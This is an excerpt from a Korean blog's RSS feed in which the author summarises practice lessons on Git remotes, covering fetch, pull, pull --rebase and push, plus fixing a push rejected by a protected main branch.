&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Git pull의 인자들&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드디어 마지막..&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774934484654&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git pull origin foo;
git fetch origin foo; git merge o/foo;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 말임 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 또&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774934538979&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git pull origin bar:bugFix;
git fetch origin bar:bugFix; git merge bugFix;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것도 같은 말임 !!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 pull은 fetch와 merge를 합친 것 !!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 진짜 끝이 났ㄴㅔ요 .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수고많았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;495&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhdY5S/dJMcafMRNQQ/ilSXLFArkf221pe9ixHzZ0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhdY5S/dJMcafMRNQQ/ilSXLFArkf221pe9ixHzZ0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhdY5S/dJMcafMRNQQ/ilSXLFArkf221pe9ixHzZ0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhdY5S%2FdJMcafMRNQQ%2FilSXLFArkf221pe9ixHzZ0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;495&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;495&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이젠 또 뭘 해볼까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화이팅&lt;/p&gt;</description>
      <category> &amp;zwj; 양송이 Git 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/16</guid>
      <comments>https://gummybearsong.tistory.com/16#entry16comment</comments>
      <pubDate>Tue, 31 Mar 2026 14:31:01 +0900</pubDate>
    </item>
    <item>
      <title>Push&amp;amp;Pull 원격 저장소!</title>
      <link>https://gummybearsong.tistory.com/15</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;git clone&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 컴퓨터 내에서 git 서버로 저장하는 법에 대해 알아보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;깃에 똑같은 구조의 clone을 만들어 저장할 수 있다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람들과 함께 작업 가능 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774339050495&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git clone&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;git 원격 브랜치&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;o/ 란?&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;9&quot; data-path-to-node=&quot;11&quot;&gt;서버(원격 저장소)의 상태를 내 로컬에 잠시 '백업'해 둔 것&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-path-to-node=&quot;11&quot; data-ke-style=&quot;style2&quot;&gt;git fetch&lt;/blockquote&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;원격 저장소에서 데이터 가져오기&lt;/p&gt;
&lt;pre id=&quot;code_1774339669174&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git fetch&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원격 저장소에는 있지만 로컬엔 없는 커밋 다운&lt;/li&gt;
&lt;li&gt;원격 브랜치가 가리키는 곳 업데이트&lt;/li&gt;
&lt;li&gt;하지만 로컬 상태는 변화시키지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 하는 방법은 여러가지!&lt;/p&gt;
&lt;pre id=&quot;code_1774339902780&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git cherry-pick o/main;
git rebase o/main;
git merge o/main;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등등...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원격 저장소의 변경을 fetch하고 merge하는 과정이 워낙 빈번해서 이 두 가지 작업을 합친&lt;/p&gt;
&lt;pre id=&quot;code_1774339951785&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git pull&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 만들었다고 합니다 !!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;협동 가장하기&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습을 위해 이 사이트는 git fakeTeamwork라는 명령어를 만들었다고 함 !&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774340262577&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git clone;
git fakeTeamwork 2;
git commit;
git pull;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;git push&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDUYG6/dJMcaaq81Bp/Hj7Dgpy1cKJpMh0F5wXGn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDUYG6/dJMcaaq81Bp/Hj7Dgpy1cKJpMh0F5wXGn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDUYG6/dJMcaaq81Bp/Hj7Dgpy1cKJpMh0F5wXGn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDUYG6%2FdJMcaaq81Bp%2FHj7Dgpy1cKJpMh0F5wXGn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;528&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774351222680&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git commit;
git commit;
git push;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;엇갈린 작업&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pull 과 push로 생기는 어려움&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 히스토리가 엇갈릴 때 찾아옴 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&amp;lt;예시 상황&amp;gt;&lt;br /&gt;난 월요일에 저장소를 clone해서 부가 기능 만들기 시작함&lt;br /&gt;쭉 혼자 만들다가 금요일 쯤에 기능을 공개하려고 했음 !!&lt;br /&gt;그런데 쌰~~~~갈&amp;nbsp;&lt;br /&gt;동료들이 주중에 코딩을 해버려서 이미 내 작업은 프로젝트에 무용지물이 되어버림&lt;br /&gt;그니까 같은 걸 작업한 게 2개가 되어버린 것임&lt;br /&gt;&lt;br /&gt;즉 히스토리가 엇갈림&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보다시피 커밋의 기반이 된 곳이 다르면 push로 업데이트가 안됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;531&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mjw5k/dJMcadagzhI/9eClhDjNnPsYrPzhHSUh9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mjw5k/dJMcadagzhI/9eClhDjNnPsYrPzhHSUh9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mjw5k/dJMcadagzhI/9eClhDjNnPsYrPzhHSUh9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMjw5k%2FdJMcadagzhI%2F9eClhDjNnPsYrPzhHSUh9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;914&quot; height=&quot;531&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;531&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 로컬 작업을 원격에 맞춰서 최신상태로 맞춰줘야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 작업이 fetch임&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SUeR9/dJMcafsqVUz/751yi6vEacQe6NTrtGi1S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SUeR9/dJMcafsqVUz/751yi6vEacQe6NTrtGi1S0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SUeR9/dJMcafsqVUz/751yi6vEacQe6NTrtGi1S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSUeR9%2FdJMcafsqVUz%2F751yi6vEacQe6NTrtGi1S0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;499&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;git merge 로 대신해도 된다구 합니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원리는 merge가 merge 커밋을 생성하고, git에게 원격 저장소의 변경을 합쳤다고 알려주기 때문이라네유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dl9aAj/dJMcafsqV3b/bN82ySfkWyDqfK7eFjIWSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dl9aAj/dJMcafsqV3b/bN82ySfkWyDqfK7eFjIWSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dl9aAj/dJMcafsqV3b/bN82ySfkWyDqfK7eFjIWSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdl9aAj%2FdJMcafsqV3b%2FbN82ySfkWyDqfK7eFjIWSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;908&quot; height=&quot;570&quot; data-origin-width=&quot;908&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1774354465550&quot; class=&quot;abnf&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git fetch;
git merge o/main;
git push;​&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch로 C2작업 불러오고 merge랑 o/main이랑 합친 뒤에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;push해서 clone작업에 동기화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;git pull은 fetch와 merge의 기능을 합친 명령어였슨!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 이런 기능들을 합친 명령어는,&lt;/p&gt;
&lt;pre id=&quot;code_1774354610045&quot; class=&quot;ada&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git pull --rebase​&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch와 리베이스를 하는 작업의 줄임말&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wljJM/dJMcacvKe4V/3udXYgo2MykgYpOUfMVVQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wljJM/dJMcacvKe4V/3udXYgo2MykgYpOUfMVVQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wljJM/dJMcacvKe4V/3udXYgo2MykgYpOUfMVVQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwljJM%2FdJMcacvKe4V%2F3udXYgo2MykgYpOUfMVVQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;909&quot; height=&quot;576&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요렇게 됨 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 일반 pull과 사용했을 때는&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dws1d2/dJMcah4Sjns/1x3JokMEkV9LuHEaPazgg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dws1d2/dJMcah4Sjns/1x3JokMEkV9LuHEaPazgg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dws1d2/dJMcah4Sjns/1x3JokMEkV9LuHEaPazgg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdws1d2%2FdJMcah4Sjns%2F1x3JokMEkV9LuHEaPazgg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;916&quot; height=&quot;572&quot; data-origin-width=&quot;916&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774354855020&quot; class=&quot;abnf&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git fetch;
git merge o/main;
git push;​&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것과&amp;nbsp; 동일한 결과가 나타나게 되겟져&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 연습문제 풀어볼게요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLJ5r2/dJMcagZaUD3/GXrOTZQfkwmtL3Ma1iLeb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLJ5r2/dJMcagZaUD3/GXrOTZQfkwmtL3Ma1iLeb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLJ5r2/dJMcagZaUD3/GXrOTZQfkwmtL3Ma1iLeb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLJ5r2%2FdJMcagZaUD3%2FGXrOTZQfkwmtL3Ma1iLeb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;316&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1774355042472&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git clone;
git fakeTeamwork;
git commit;
git pull --rebase;
git push;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 이제 이번 차시의 마지막 단계!!&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;원격 저장소 거부! (Remote Rejected!)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;규모가 큰 개발팀에서 일하는 경우, 보통 원격저장소의 main 브랜치는 잠겨있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 변경 사항을 적용하려면 pull request 과정을 거쳐야함 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 로컬저장소의 main브랜치에서 커밋하고 push하려고 한다면 다음과 같은 오류발생할 것임....&lt;/p&gt;
&lt;pre class=&quot;livescript&quot; style=&quot;background-color: #424242; color: #eeeeee; text-align: start;&quot;&gt;&lt;code&gt;! [remote rejected] main -&amp;gt; main (TF402455: Pushes to this branch are not permitted; you must use a pull request to update this branch.)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜일까? 이유는 다음과 같음 !!&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원격 저장소는 자신의 main 브랜치에 대한 직접적인 커밋을 제한함
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;push 대신 pull request가 쓰여야 한다는 규칙이 적용되어 있기 때문!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 브랜치를 따로 만들어 작업한 다음, 그것을 push하고 pull request를 하려는 상황에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그걸 잊고 실수로 main 브랜치에서 직접 커밋해버린 상황 ! (이러면 변경사항을 push하지도 못하는 상황이 되어버림)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 메인 브랜치가 최종 브랜치격인데 여기서 싹다 작업해버려서 분리시켜야하는상황임....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결법 : 다른 새로운 브랜치를 만들어서 원격 저장소에 push할 것 ! 그 다음, 원격 저장소와 동기화 되게끔 main을 reset할 것 !&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
